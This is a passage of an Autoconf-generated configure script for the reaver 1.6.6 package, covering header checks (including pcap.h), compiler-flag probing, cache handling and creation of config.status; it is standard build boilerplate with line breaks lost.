"conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'EGREP' >> "conftest.nl" "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_EGREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_EGREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_EGREP"; then as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_EGREP=$EGREP fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5 $as_echo "$ac_cv_path_EGREP" >&6; } EGREP="$ac_cv_path_EGREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5 $as_echo_n "checking for ANSI C header files... " >&6; } if ${ac_cv_header_stdc+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_header_stdc=yes else ac_cv_header_stdc=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : : else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) return 2; return 0; } _ACEOF if ac_fn_c_try_run "$LINENO"; then : else ac_cv_header_stdc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5 $as_echo "$ac_cv_header_stdc" >&6; } if test $ac_cv_header_stdc = yes; then $as_echo "#define STDC_HEADERS 1" >>confdefs.h fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default " if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in stdlib.h stdint.h string.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF else echo "error: missing standard header files" && exit -1 fi done for ac_header in pcap.h do : ac_fn_c_check_header_mongrel "$LINENO" "pcap.h" "ac_cv_header_pcap_h" "$ac_includes_default" if test "x$ac_cv_header_pcap_h" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_PCAP_H 1 _ACEOF else echo "error: missing pcap header files" && exit -1 fi done # Check whether --enable-savetocurrent was given. if test "${enable_savetocurrent+set}" = set; then : enableval=$enable_savetocurrent; CFLAGS="$CFLAGS -DSAVETOCURRENT" fi DESIRED_FLAGS="-Werror-unknown-warning-option -Wno-unused-but-set-variable" for flag in $DESIRED_FLAGS; do { $as_echo "$as_me:${as_lineno-$LINENO}: checking to see if compiler understands $flag" >&5 $as_echo_n "checking to see if compiler understands $flag... " >&6; } save_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS $flag" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : flag_ok=yes else flag_ok=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext CFLAGS="$save_CFLAGS" if test "X$flag_ok" = Xyes ; then CFLAGS="$CFLAGS $flag" true else true fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $flag_ok" >&5 $as_echo "$flag_ok" >&6; } done cp confdefs.h config.h target=$PACKAGE_NAME cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, we kill variables containing newlines. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. ( for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space=' '; set) 2>&1` in #( *${as_nl}ac_space=\ *) # `set' does not quote correctly, so add quotes: double-quote # substitution turns \\\\ into \\, and sed turns \\ into \. sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; #( *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) | sed ' /^ac_cv_env_/b end t clear :clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ :end' >>confcache if diff "$cache_file" confcache >/dev/null 2>&1; then :; else if test -w "$cache_file"; then if test "x$cache_file" != "x/dev/null"; then { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 $as_echo "$as_me: updating cache $cache_file" >&6;} if test ! -f "$cache_file" || test -h "$cache_file"; then cat confcache >"$cache_file" else case $cache_file in #( */* | ?:*) mv -f confcache "$cache_file"$$ && mv -f "$cache_file"$$ "$cache_file" ;; #( *) mv -f confcache "$cache_file" ;; esac fi fi else { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 $as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' # Transform confdefs.h into DEFS. # Protect against shell expansion while executing Makefile rules. # Protect against Makefile macro expansion. # # If the first sed substitution is executed (which looks for macros that # take arguments), then branch to the quote section. Otherwise, # look for a macro that doesn't take arguments. ac_script=' :mline /\\$/{ N s,\\\n,, b mline } t clear :clear s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g t quote s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g t quote b any :quote s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g s/\[/\\&/g s/\]/\\&/g s/\$/$$/g H :any ${ g s/^\n// s/\n/ /g p } ' DEFS=`sed -n "$ac_script" confdefs.h` ac_libobjs= ac_ltlibobjs= U= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ac_i=`$as_echo "$ac_i" | sed "$ac_script"` # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR # will be set to the directory where LIBOBJS objects are built. as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs : "${CONFIG_STATUS=./config.status}" ac_write_fail=0 ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 $as_echo "$as_me: creating $CONFIG_STATUS" >&6;} as_write_fail=0 cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} export SHELL _ASEOF cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. as_myself= case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # as_fn_error STATUS ERROR [LINENO LOG_FD] # ---------------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with STATUS, using 1 if that was 0. as_fn_error () { as_status=$1; test $as_status -eq 0 && as_status=1 if test "$4"; then as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 fi $as_echo "$as_me: error: $2" >&2 as_fn_exit $as_status } # as_fn_error # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -pR'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -pR' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -pR' fi else as_ln_s='cp -pR' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" } # as_fn_mkdir_p if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi # as_fn_executable_p FILE # ----------------------- # Test if FILE is an executable regular file. as_fn_executable_p () { test -f "$1" && test -x "$1" } # as_fn_executable_p as_test_x='test -x' as_executable_p=as_fn_executable_p # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" exec 6>&1 ## ----------------------------------- ## ## Main body of $CONFIG_STATUS script. ## ## ----------------------------------- ## _ASEOF test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Save the log message, to keep $0 and so on meaningful, and to # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" This file was extended by reaver $as_me 1.6.6, which was generated by GNU Autoconf 2.69. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ on `(hostname || uname -n) 2>/dev/null | sed 1q` " _ACEOF case $ac_config_files in *" "*) set x $ac_config_files; shift; ac_config_files=$*;; esac cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # Files that config.status was made for. config_files="$ac_config_files" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ac_cs_usage="\ \`$as_me' instantiates files and other configuration actions from templates according to the current configuration. Unless the files and actions are specified as TAGs, all are instantiated by default. Usage: $0 [OPTION]... [TAG]... -h, --help print this help, then exit -V, --version print version number and configuration settings, then exit --config print configuration, then exit -q, --quiet, --silent do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE Configuration files: $config_files Report bugs to the package provider." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" ac_cs_version="\\ reaver config.status 1.6.6 configured by $0, generated by GNU Autoconf 2.69, with options \\"\$ac_cs_config\\" Copyright (C) 2012 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." ac_pwd='$ac_pwd' srcdir='$srcdir' test -n "\$AWK" || AWK=awk _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # The default lists apply if the user does not specify any file. ac_need_defaults=: while test $# != 0 do case $1 in --*=?*) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` ac_shift=: ;; --*=) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg= ac_shift=: ;; *) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; esac case $ac_option in # Handling of the options. -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) $as_echo "$ac_cs_version"; exit ;; --config | --confi | --conf | --con | --co | --c ) $as_echo "$ac_cs_config"; exit ;; --debug | --debu | --deb | --de | --d | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; '') as_fn_error $? "missing file argument" ;; esac as_fn_append CONFIG_FILES " '$ac_optarg'" ac_need_defaults=false;; --he | --h | --help | --hel | -h ) $as_echo "$ac_cs_usage"; exit ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) as_fn_error $? "unrecognized option: \`$1' Try \`$0 --help' for more information." ;; *) as_fn_append ac_config_targets " $1" ac_need_defaults=false ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 if \$ac_cs_recheck; then set X $SHELL '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion shift \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 CONFIG_SHELL='$SHELL' export CONFIG_SHELL exec "\$@" fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX $as_echo "$ac_log" } >&5 _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Handling of arguments. for ac_config_target in $ac_config_targets do case $ac_config_target in "config.mak") CONFIG_FILES="$CONFIG_FILES config.mak" ;; *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason against having it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Hook for its removal unless debugging. # Note that there is a small window in which the directory will not be cleaned: # after its creation but before its name has been assigned to `$tmp'. $debug || { tmp= ac_tmp= trap 'exit_status=$? : "${ac_tmp:=$tmp}" { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status ' 0 trap 'as_fn_exit 1' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && test -d "$tmp" } || { tmp=./conf$$-$RANDOM (umask 077 && mkdir "$tmp") } || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 ac_tmp=$tmp # Set up the scripts for CONFIG_FILES section. # No need to generate them if there are no CONFIG_FILES. # This happens for instance with `./config.status config.h'. if test -n "$CONFIG_FILES"; then ac_cr=`echo X | tr X '\015'` # On cygwin, bash can eat \r inside `` if the user requested igncr. # But we know of no other shell where ac_cr would be empty at this # point, so we can use a bashism as a fallback. if test "x$ac_cr" = x; then eval ac_cr=\$\'\\r\' fi ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then ac_cs_awk_cr='\\r' else ac_cs_awk_cr=$ac_cr fi echo 'BEGIN {' >"$ac_tmp/subs1.awk" && _ACEOF { echo "cat >conf$$subs.awk <<_ACEOF" && echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && echo "_ACEOF" } >conf$$subs.sh || as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` ac_delim='%!_!# ' for ac_last_try in false false false false false :; do . ./conf$$subs.sh || as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` if test $ac_delim_n = $ac_delim_num; then break elif $ac_last_try; then as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done rm -f conf$$subs.sh cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && _ACEOF sed -n ' h s/^/S["/; s/!.*/"]=/ p g s/^[^!]*!// :repl t repl s/'"$ac_delim"'$// t delim :nl h s/\(.\{148\}\)..*/\1/ t more1 s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ p n b repl :more1 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t nl :delim h s/\(.\{148\}\)..*/\1/ t more2 s/["\\]/\\&/g; s/^/"/; s/$/"/ p b :more2 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t delim ' >$CONFIG_STATUS || ac_write_fail=1 rm -f conf$$subs.awk cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACAWK cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && for (key in S) S_is_set[key] = 1 FS = "" } { line = $ 0 nfields = split(line, field, "@") substed = 0 len = length(field[1]) for (i = 2; i < nfields; i++) { key = field[i] keylen = length(key) if (S_is_set[key]) { value = S[key] line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) len += length(value) + length(field[++i]) substed = 1 } else len += 1 + keylen } print line } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" else cat fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 _ACEOF # VPATH may cause trouble with some makes, so we remove sole $(srcdir), # ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ h s/// s/^/:/ s/[ ]*$/:/ s/:\$(srcdir):/:/g s/:\${srcdir}:/:/g s/:@srcdir@:/:/g s/^:*// s/:*$// x s/\(=[ ]*\).*/\1/ G s/\n// s/^[^=]*=[ ]*$// }' fi cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 fi # test -n "$CONFIG_FILES" eval set X " :F $CONFIG_FILES " shift for ac_tag do case $ac_tag in :[FHLC]) ac_mode=$ac_tag; continue;; esac case $ac_mode$ac_tag in :[FHL]*:*);; :L* | :C*:*) as_fn_error $? "invalid tag \`$ac_tag'" "$LINENO" 5;; :[FH]-) ac_tag=-:-;; :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; esac 